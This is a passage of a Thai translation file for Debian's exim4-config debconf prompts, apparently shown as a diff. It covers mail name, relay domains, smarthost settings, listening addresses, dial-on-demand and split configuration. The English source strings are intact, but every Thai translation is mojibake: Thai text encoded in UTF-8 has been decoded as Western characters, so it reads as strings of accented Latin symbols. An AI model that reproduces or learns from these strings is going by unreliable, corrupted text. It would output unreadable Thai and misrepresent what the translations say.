เพื่à¸à¸à¸²à¸à¸ªà¹ˆà¸‡ " +"เพราะหลายระบบในà¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸™à¹‡à¸•à¸ˆà¸°à¹„ม่รับเมลจาà¸à¸«à¸¡à¸²à¸¢à¹€à¸¥à¸‚ IP ที่เป็น dynamic เพื่à¸à¸›à¹‰à¸à¸‡à¸à¸±à¸™à¸ªà¹à¸›à¸¡" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"เครื่à¸à¸‡à¸—ี่ใช้ IP à¹à¸šà¸š dynamic สามารถรับเมลจาà¸à¹€à¸„รื่à¸à¸‡à¸•à¸±à¸§à¹€à¸à¸‡ " +"หรืà¸à¸ˆà¸°à¸›à¸´à¸”à¸à¸²à¸£à¸£à¸±à¸šà¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹ƒà¸™à¹€à¸„รื่à¸à¸‡à¸—ั้งหมดเลยà¸à¹‡à¹„ด้ (ยà¸à¹€à¸§à¹‰à¸™à¹€à¸¡à¸¥à¸‚à¸à¸‡ root à¹à¸¥à¸° postmaster)" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "จะปล่à¸à¸¢à¸£à¸°à¸šà¸šà¹€à¸¡à¸¥à¹„ว้ไม่ตั้งค่าหรืà¸à¹„ม่?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ระบบเมลจะไม่ทำงาน à¹à¸¥à¸°à¸£à¸±à¸šà¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹„ม่ได้ จนà¸à¸§à¹ˆà¸²à¸ˆà¸°à¸–ูà¸à¸•à¸±à¹‰à¸‡à¸„่าเรียบร้à¸à¸¢ " +"à¸à¸²à¸£à¸•à¸±à¹‰à¸‡à¸„่าเมลภายหลังสามารถทำได้ ไม่ว่าจะด้วยà¸à¸²à¸£à¹à¸à¹‰à¹„ขค่าตั้งเà¸à¸‡ หรืà¸à¹‚ดยเรียà¸à¸„ำสั่ง 'dpkg-" +"reconfigure exim4-config' โดยผู้ใช้ root" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "ชื่à¸à¹€à¸¡à¸¥à¸‚à¸à¸‡à¸£à¸°à¸šà¸š:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "'ชื่à¸à¹€à¸¡à¸¥' คืà¸à¸Šà¸·à¹ˆà¸à¹‚ดเมนที่จะใช้à¸à¸³à¸«à¸™à¸”ให้à¸à¸±à¸šà¸—ี่à¸à¸¢à¸¹à¹ˆà¹€à¸¡à¸¥à¸—ี่ไม่ระบุชื่à¸à¹‚ดเมน" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "ชื่à¸à¸™à¸µà¹‰à¸ˆà¸°à¸–ูà¸à¹ƒà¸Šà¹‰à¹‚ดยโปรà¹à¸à¸£à¸¡à¸à¸·à¹ˆà¸™à¹† à¹à¸¥à¸°à¸„วรจะเป็นชื่à¸à¹‚ดเมนเต็ม (FQDN) เพียงรายà¸à¸²à¸£à¹€à¸”ียว" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"ตัวà¸à¸¢à¹ˆà¸²à¸‡à¹€à¸Šà¹ˆà¸™ ถ้าที่à¸à¸¢à¸¹à¹ˆà¹€à¸¡à¸¥à¸ªà¸³à¸«à¸£à¸±à¸šà¹€à¸„รื่à¸à¸‡à¸‚à¸à¸‡à¸„ุณเป็น foo@example.org " +"ค่าที่จะใช้สำหรับตัวเลืà¸à¸à¸™à¸µà¹‰à¸ˆà¸°à¹€à¸›à¹‡à¸™ example.org" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "ชื่à¸à¸™à¸µà¹‰à¸ˆà¸°à¹„ม่ปราà¸à¸à¹ƒà¸™à¸šà¸£à¸£à¸—ัด From: ขà¸à¸‡à¹€à¸¡à¸¥à¸‚าà¸à¸à¸ ถ้ามีà¸à¸²à¸£à¹€à¸›à¸´à¸”ใช้à¸à¸²à¸£à¹€à¸£à¸µà¸¢à¸šà¹€à¸£à¸µà¸¢à¸‡à¸Šà¸·à¹ˆà¸à¹ƒà¸«à¸¡à¹ˆ" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "ที่à¸à¸¢à¸¹à¹ˆà¸›à¸¥à¸²à¸¢à¸—างà¸à¸·à¹ˆà¸™à¸—ี่จะระบบจะรับเมล:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"à¸à¸£à¸¸à¸“าป้à¸à¸™à¸£à¸²à¸¢à¸à¸²à¸£à¹‚ดเมน (คั่นด้วยà¸à¸±à¸’ภาค [semicolon]) ที่เครื่à¸à¸‡à¸™à¸µà¹‰à¸ˆà¸°à¸–ืà¸à¹€à¸›à¹‡à¸™à¸—ี่à¸à¸¢à¸¹à¹ˆà¸›à¸¥à¸²à¸¢à¸—าง " +"โดเมนเหล่านี้เรียà¸à¸§à¹ˆà¸² 'โดเมนท้à¸à¸‡à¸–ิ่น' โดยโปรà¹à¸à¸£à¸¡à¸ˆà¸°à¹€à¸žà¸´à¹ˆà¸¡à¸Šà¸·à¹ˆà¸à¹‚ฮสต์ท้à¸à¸‡à¸–ิ่น (${fqdn}) à¹à¸¥à¸° " +"'localhost' ต่à¸à¸ˆà¸²à¸à¸£à¸²à¸¢à¸à¸²à¸£à¸—ี่ป้à¸à¸™à¸™à¸µà¹‰à¹€à¸ªà¸¡à¸" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"โดยปà¸à¸•à¸´ จะจัดà¸à¸²à¸£à¸—ุà¸à¹‚ดเมนเหมืà¸à¸™à¸à¸±à¸™à¸«à¸¡à¸” เช่น ถ้าà¸à¸³à¸«à¸™à¸”ให้ทั้ง a.example à¹à¸¥à¸° b.example " +"เป็นโดเมนท้à¸à¸‡à¸–ิ่น เมลที่ส่งถึง acc@a.example à¹à¸¥à¸° acc@b.example จะไปถึงตำà¹à¸«à¸™à¹ˆà¸‡à¹€à¸”ียวà¸à¸±à¸™ " +"ถ้าต้à¸à¸‡à¸à¸²à¸£à¹ƒà¸«à¹‰à¸ˆà¸±à¸”à¸à¸²à¸£à¸Šà¸·à¹ˆà¸à¹‚ดเมนต่างๆ ต่างà¸à¸±à¸™à¹„ป à¸à¹‡à¸ˆà¸³à¹€à¸›à¹‡à¸™à¸•à¹‰à¸à¸‡à¹à¸à¹‰à¹„ขà¹à¸Ÿà¹‰à¸¡à¸„่าตั้งในภายหลัง" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "โดเมนที่จะส่งทà¸à¸” (relay) เมลให้:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"à¸à¸£à¸¸à¸“าป้à¸à¸™à¸£à¸²à¸¢à¸à¸²à¸£à¹‚ดเมน (คั่นด้วยà¸à¸±à¸’ภาค [semicolon]) ที่เครื่à¸à¸‡à¸™à¸µà¹‰à¸ˆà¸°à¸¢à¸à¸¡à¸ªà¹ˆà¸‡à¸—à¸à¸”เมลให้ เช่น " +"เพื่à¸à¹ƒà¸Šà¹‰à¹à¸—น MX หรืà¸à¹€à¸à¸•à¹€à¸§à¸¢à¹Œà¹€à¸¡à¸¥ ซึ่งหมายความว่า เครื่à¸à¸‡à¸™à¸µà¹‰à¸ˆà¸°à¸£à¸±à¸šà¹€à¸¡à¸¥à¸ªà¸³à¸«à¸£à¸±à¸šà¹‚ดเมนเหล่านี้จาà¸à¸—ี่à¸à¸·à¹ˆà¸™à¹† " +"ในà¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸™à¹‡à¸• à¹à¸¥à¸°à¸ªà¹ˆà¸‡à¸•à¹ˆà¸à¹ƒà¸«à¹‰à¸•à¸²à¸¡à¹€à¸‡à¸·à¹ˆà¸à¸™à¹„ขที่à¸à¸³à¸«à¸™à¸”" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "ไม่ต้à¸à¸‡à¸›à¹‰à¸à¸™à¹‚ดเมนท้à¸à¸‡à¸–ิ่น à¹à¸¥à¸°à¸ªà¸²à¸¡à¸²à¸£à¸–ใช้ wildcard ได้" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "เครื่à¸à¸‡à¸—ี่จะส่งทà¸à¸”เมลให้:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"à¸à¸£à¸¸à¸“าป้à¸à¸™à¸£à¸²à¸¢à¸à¸²à¸£à¸‚à¸à¸‡à¸Šà¹ˆà¸§à¸‡à¸—ี่à¸à¸¢à¸¹à¹ˆ IP (คั่นด้วยà¸à¸±à¸’ภาค [semicolon]) ที่เครื่à¸à¸‡à¸™à¸µà¹‰à¸ˆà¸°à¸ªà¹ˆà¸‡à¸—à¸à¸”เมลทั้งหมดให้ " +"ในà¸à¸²à¸™à¸° smarthost" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"คุณควรใช้รูปà¹à¸šà¸š ที่à¸à¸¢à¸¹à¹ˆ/จำนวนบิต มาตรà¸à¸²à¸™ (เช่น 194.222.242.0/24 หรืภ" +"5f03:1200:836f::/48)" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "ถ้าจะไม่ให้เครื่à¸à¸‡à¸™à¸µà¹‰à¸—ำหน้าที่ smarthost สำหรับเครื่à¸à¸‡à¸à¸·à¹ˆà¸™ à¸à¹‡à¸›à¸¥à¹ˆà¸à¸¢à¸£à¸²à¸¢à¸à¸²à¸£à¸™à¸µà¹‰à¹ƒà¸«à¹‰à¸§à¹ˆà¸²à¸‡à¹„ว้" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "ชื่à¸à¹‚ดเมนที่ปราà¸à¸à¸ªà¸³à¸«à¸£à¸±à¸šà¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¸—้à¸à¸‡à¸–ิ่น:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"à¸à¸²à¸£à¸‹à¹ˆà¸à¸™à¸Šà¸·à¹ˆà¸à¹€à¸¡à¸¥à¸—้à¸à¸‡à¸–ิ่นในเมลขาà¸à¸à¸à¸–ูà¸à¹€à¸›à¸´à¸”ใช้à¸à¸¢à¸¹à¹ˆ " +"จึงจำเป็นต้à¸à¸‡à¸£à¸°à¸šà¸¸à¸Šà¸·à¹ˆà¸à¹‚ดเมนที่จะใช้ในส่วนโดเมนขà¸à¸‡à¸—ี่à¸à¸¢à¸¹à¹ˆà¸œà¸¹à¹‰à¸ªà¹ˆà¸‡à¸ªà¸³à¸«à¸£à¸±à¸šà¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¹ƒà¸™à¹€à¸„รื่à¸à¸‡" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "ที่à¸à¸¢à¸¹à¹ˆ IP หรืà¸à¸Šà¸·à¹ˆà¸à¹‚ฮสต์ขà¸à¸‡ smarthost ขาà¸à¸à¸:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"à¸à¸£à¸¸à¸“าป้à¸à¸™à¸—ี่à¸à¸¢à¸¹à¹ˆ IP หรืà¸à¸Šà¸·à¹ˆà¸à¹‚ฮสต์ขà¸à¸‡à¹€à¸‹à¸´à¸£à¹Œà¸Ÿà¹€à¸§à¸à¸£à¹Œà¹€à¸¡à¸¥à¸—ี่เครื่à¸à¸‡à¸™à¸µà¹‰à¸ˆà¸°à¹ƒà¸Šà¹‰à¹€à¸›à¹‡à¸™ smarthost ขาà¸à¸à¸ ถ้าเครื่à¸à¸‡ " +"smarthost ดังà¸à¸¥à¹ˆà¸²à¸§à¸£à¸±à¸šà¹€à¸¡à¸¥à¸—ี่พà¸à¸£à¹Œà¸•à¸à¸·à¹ˆà¸™à¸—ี่ไม่ใช่ TCP/25 ให้เพิ่มทวิภาค (colon) สà¸à¸‡à¸•à¸±à¸§ " +"ตามด้วยหมายเลขพà¸à¸£à¹Œà¸•à¸•à¹ˆà¸à¸—้าย (ตัวà¸à¸¢à¹ˆà¸²à¸‡à¹€à¸Šà¹ˆà¸™ smarthost.example::587 หรืภ" +"192.168.254.254::2525) ทวิภาคในที่à¸à¸¢à¸¹à¹ˆ IPv6 à¸à¹‡à¸•à¹‰à¸à¸‡à¹ƒà¸ªà¹ˆà¸‹à¹‰à¸à¸™à¹€à¸Šà¹ˆà¸™à¸à¸±à¸™" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"หาภsmarthost ขาà¸à¸à¸à¸—ี่เครื่à¸à¸‡à¸™à¸µà¹‰à¸ˆà¸°à¹ƒà¸Šà¹‰ ต้à¸à¸‡à¸à¸²à¸£à¸à¸²à¸£à¸¢à¸·à¸™à¸¢à¸±à¸™à¸•à¸±à¸§à¸šà¸¸à¸„คล à¸à¸£à¸¸à¸“าà¸à¹ˆà¸²à¸™à¹à¸Ÿà¹‰à¸¡ README ขà¸à¸‡ " +"Debian โดยเฉพาะที่ /usr/share/doc/exim4-base " +"เพื่à¸à¸”ูประเด็นเà¸à¸µà¹ˆà¸¢à¸§à¸à¸±à¸šà¸à¸²à¸£à¸•à¸±à¹‰à¸‡à¸„่าà¸à¸²à¸£à¸¢à¸·à¸™à¸¢à¸±à¸™à¸•à¸±à¸§à¸šà¸¸à¸„คลใน SMTP" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "ผู้รับเมล root à¹à¸¥à¸° postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"เมลสำหรับ 'postmaster', 'root' à¹à¸¥à¸°à¸šà¸±à¸à¸Šà¸µà¸£à¸°à¸šà¸šà¸—ั้งหลาย " +"จำเป็นต้à¸à¸‡à¸–ูà¸à¹€à¸›à¸¥à¸µà¹ˆà¸¢à¸™à¹€à¸ªà¹‰à¸™à¸—างไปยังบัà¸à¸Šà¸µà¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¸—ี่เป็นผู้ดูà¹à¸¥à¸£à¸°à¸šà¸šà¸•à¸±à¸§à¸ˆà¸£à¸´à¸‡" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"ถ้าคุณปล่à¸à¸¢à¸„่านี้ให้ว่างไว้ เมลดังà¸à¸¥à¹ˆà¸²à¸§à¸ˆà¸°à¸–ูà¸à¸šà¸±à¸™à¸—ึà¸à¹„ว้ใน /var/mail/mail ซึ่งไม่ขà¸à¹à¸™à¸°à¸™à¸³à¹ƒà¸«à¹‰à¸—ำเช่นนั้น" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"สังเà¸à¸•à¸§à¹ˆà¸²à¹€à¸¡à¸¥à¸‚à¸à¸‡ postmaster ควรจะถูà¸à¸à¹ˆà¸²à¸™à¹ƒà¸™à¸£à¸°à¸šà¸šà¹€à¸”ียวà¸à¸±à¸™ ไม่ใช่ส่งต่à¸à¹„ปยังเครื่à¸à¸‡à¸à¸·à¹ˆà¸™ ดังนั้น " +"ผู้ใช้ที่คุณเลืà¸à¸ (à¸à¸¢à¹ˆà¸²à¸‡à¸™à¹‰à¸à¸¢à¸«à¸™à¸¶à¹ˆà¸‡à¸„น) จะต้à¸à¸‡à¹„ม่เปลี่ยนเส้นทางเมลขà¸à¸‡à¸•à¸™à¸à¸à¸à¹„ปยังเครื่à¸à¸‡à¸à¸·à¹ˆà¸™ " +"คุณสามารถใช้คำนำหน้าว่า 'real-' ได้ ถ้าจะบังคับให้ส่งเมลภายในเครื่à¸à¸‡" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "ถ้ามีชื่à¸à¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¸¡à¸²à¸à¸à¸§à¹ˆà¸²à¸«à¸™à¸¶à¹ˆà¸‡à¸„น ให้คั่นด้วยช่à¸à¸‡à¸§à¹ˆà¸²à¸‡" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "ที่à¸à¸¢à¸¹à¹ˆ IP ที่จะรà¸à¸£à¸±à¸šà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸ SMTP ที่เข้ามา:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"à¸à¸£à¸¸à¸“าป้à¸à¸™à¸£à¸²à¸¢à¸à¸²à¸£à¸—ี่à¸à¸¢à¸¹à¹ˆ IP คั่นด้วยà¸à¸±à¸’ภาค (semicolon) ดีมà¸à¸™à¸£à¸à¸£à¸±à¸šà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸ SMTP ขà¸à¸‡ Exim " +"จะรà¸à¸£à¸±à¸šà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸à¸—ี่ที่à¸à¸¢à¸¹à¹ˆ IP ในรายà¸à¸²à¸£à¸™à¸µà¹‰" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "ถ้าปล่à¸à¸¢à¸„่านี้ว่างไว้ Exim จะรà¸à¸£à¸±à¸šà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸à¸—ี่à¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸Ÿà¸‹à¹€à¸„รืà¸à¸‚่ายทุà¸à¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸Ÿà¸‹à¸—ี่มี" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"ถ้าเครื่à¸à¸‡à¸™à¸µà¹‰à¸£à¸±à¸šà¹€à¸¡à¸¥à¸œà¹ˆà¸²à¸™à¸šà¸£à¸´à¸à¸²à¸£à¹ƒà¸™à¹€à¸„รื่à¸à¸‡à¹€à¸—่านั้น (โดยไม่ได้มาจาà¸à¹‚ฮสต์à¸à¸·à¹ˆà¸™) à¸à¹‡à¸‚à¸à¹à¸™à¸°à¸™à¸³à¹ƒà¸«à¹‰à¸›à¸´à¸”à¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸ " +"Exim จาà¸à¸ ายนà¸à¸ บริà¸à¸²à¸£à¸—ี่ว่านี้ รวมถึงโปรà¹à¸à¸£à¸¡à¸à¹ˆà¸²à¸™à¹€à¸¡à¸¥ (MUA) ที่ติดต่à¸à¸à¸±à¸š localhost เท่านั้น " +"à¹à¸¥à¸°à¸£à¸§à¸¡à¸—ั้ง fetchmail ด้วย เมื่à¸à¸à¸³à¸«à¸™à¸”ค่านี้เป็น 127.0.0.1 à¸à¹‡à¸ˆà¸°à¹„ม่สามารถติดต่à¸à¸ˆà¸²à¸à¸ ายนà¸à¸à¹„ด้à¸à¸µà¸ " +"เพราะจะเป็นà¸à¸²à¸£à¸›à¸´à¸”à¸à¸²à¸£à¸£à¸à¸£à¸±à¸šà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸à¸—ี่à¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸Ÿà¸‹à¹€à¸„รืà¸à¸‚่ายที่เชื่à¸à¸¡à¸à¸±à¸šà¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸™à¹‡à¸•" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "จำà¸à¸±à¸”จำนวนà¸à¸²à¸£à¸ªà¸à¸šà¸–าม DNS ให้น้à¸à¸¢à¸—ี่สุด (เหมาะสำหรับ Dial-on-Demand) หรืà¸à¹„ม่?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"ในà¸à¸²à¸£à¸—ำงานปà¸à¸•à¸´ Exim จะสà¸à¸šà¸–าม DNS เมื่à¸à¹€à¸£à¸´à¹ˆà¸¡à¸—ำงาน à¹à¸¥à¸°à¹€à¸¡à¸·à¹ˆà¸à¸£à¸±à¸šà¸«à¸£à¸·à¸à¸à¸£à¸°à¸ˆà¸²à¸¢à¸ˆà¸”หมาย " +"เพื่à¸à¸à¸²à¸£à¸¥à¸‡à¸šà¸±à¸™à¸—ึà¸à¸›à¸à¸´à¸šà¸±à¸•à¸´à¸à¸²à¸£ à¹à¸¥à¸°à¹€à¸žà¸·à¹ˆà¸à¸ˆà¸³à¸à¸±à¸”จำนวนà¸à¸²à¸£à¹ƒà¸Šà¹‰à¸•à¸±à¸§à¹€à¸¥à¸‚ตายตัวในà¹à¸Ÿà¹‰à¸¡à¸„่าตั้ง" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"à¹à¸•à¹ˆà¸–้าเครื่à¸à¸‡à¸™à¸µà¹‰à¹„ม่ได้มีบริà¸à¸²à¸£ DNS เต็มรูปà¹à¸šà¸šà¹„ว้ให้ใช้à¸à¸¢à¸¹à¹ˆà¸•à¸¥à¸à¸”เวลา (เช่น " +"ใช้à¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸à¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸™à¹‡à¸•à¸”้วยà¸à¸²à¸£à¸«à¸¡à¸¸à¸™à¹‚ทรศัพท์ หรืà¸à¹ƒà¸Šà¹‰ dial-on-demand) " +"à¸à¸²à¸£à¸ªà¸à¸šà¸–ามดังà¸à¸¥à¹ˆà¸²à¸§à¸à¸²à¸ˆà¸—ำให้เà¸à¸´à¸”ผลà¸à¸£à¸°à¸—บที่ไม่ต้à¸à¸‡à¸à¸²à¸£ เช่น เมื่ภexim เริ่มทำงาน " +"หรืà¸à¸ˆà¸±à¸”à¸à¸²à¸£à¸„ิวเมล (à¹à¸¡à¹‰à¸ˆà¸°à¹„ม่มีข้à¸à¸„วามรà¸à¸ªà¹ˆà¸‡) à¸à¹‡à¸à¸²à¸ˆà¸—ำให้เà¸à¸´à¸”à¸à¸²à¸£à¸«à¸¡à¸¸à¸™à¹€à¸¥à¸‚หมายà¸à¸¢à¹ˆà¸²à¸‡à¸Ÿà¸¸à¹ˆà¸¡à¹€à¸Ÿà¸·à¸à¸¢" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"ตัวเลืà¸à¸à¸™à¸µà¹‰à¸„วรใช้เมื่à¸à¸£à¸°à¸šà¸šà¹ƒà¸Šà¹‰ dial-on-demand à¹à¸•à¹ˆà¸–้าระบบมีà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸à¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸™à¹‡à¸•à¸•à¸¥à¸à¸”เวลา " +"à¸à¹‡à¸„วรปิดตัวเลืà¸à¸à¸™à¸µà¹‰" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ตั้งค่าเซิร์ฟเวà¸à¸£à¹Œà¹€à¸¡à¸¥" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "จะà¹à¸¢à¸à¸„่าตั้งเป็นà¹à¸Ÿà¹‰à¸¡à¹€à¸¥à¹‡à¸à¹† หรืà¸à¹„ม่?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"à¹à¸žà¸à¹€à¸à¸ˆ exim4 ขà¸à¸‡à¹€à¸”เบียนสามารถใช้ 'ค่าตั้งà¹à¸šà¸šà¹„ม่à¹à¸¢à¸à¸ªà¹ˆà¸§à¸™' โดยใช้à¹à¸Ÿà¹‰à¸¡à¹ƒà¸«à¸à¹ˆà¹à¸Ÿà¹‰à¸¡à¹€à¸”ียว (/etc/" +"exim4/exim4.conf.template) หรืà¸à¹ƒà¸Šà¹‰ 'ค่าตั้งà¹à¸šà¸šà¹à¸¢à¸à¸ªà¹ˆà¸§à¸™' โดยค่าตั้งขà¸à¸‡ Exim " +"จะได้จาà¸à¸à¸²à¸£à¸£à¸§à¸¡à¹à¸Ÿà¹‰à¸¡à¹€à¸¥à¹‡à¸à¹† ประมาณ 50 à¹à¸Ÿà¹‰à¸¡à¹ƒà¸™ /etc/exim4/conf.d/" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"ค่าตั้งà¹à¸šà¸šà¹„ม่à¹à¸¢à¸à¸ªà¹ˆà¸§à¸™ เหมาะà¸à¸±à¸šà¸à¸²à¸£à¹à¸à¹‰à¹„ขปริมาณมาภà¹à¸¥à¸°à¸¡à¸±à¸à¸ˆà¸°à¸„งที่à¸à¸§à¹ˆà¸² " +"ในขณะที่ค่าตั้งà¹à¸šà¸šà¹à¸¢à¸à¸ªà¹ˆà¸§à¸™à¸ˆà¸°à¹ƒà¸«à¹‰à¸„วามสะดวà¸à¹ƒà¸™à¸à¸²à¸£à¹à¸à¹‰à¹„ขเล็à¸à¹† น้à¸à¸¢à¹† à¹à¸•à¹ˆà¸à¹‡à¹€à¸›à¸£à¸²à¸°à¸šà¸²à¸‡à¸à¸§à¹ˆà¸² " +"à¹à¸¥à¸°à¸à¸²à¸ˆà¸žà¸±à¸‡à¹„ด้ถ้ามีà¸à¸²à¸£à¹à¸à¹‰à¹„ขà¹à¸šà¸šà¹„ม่ระวัง" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in 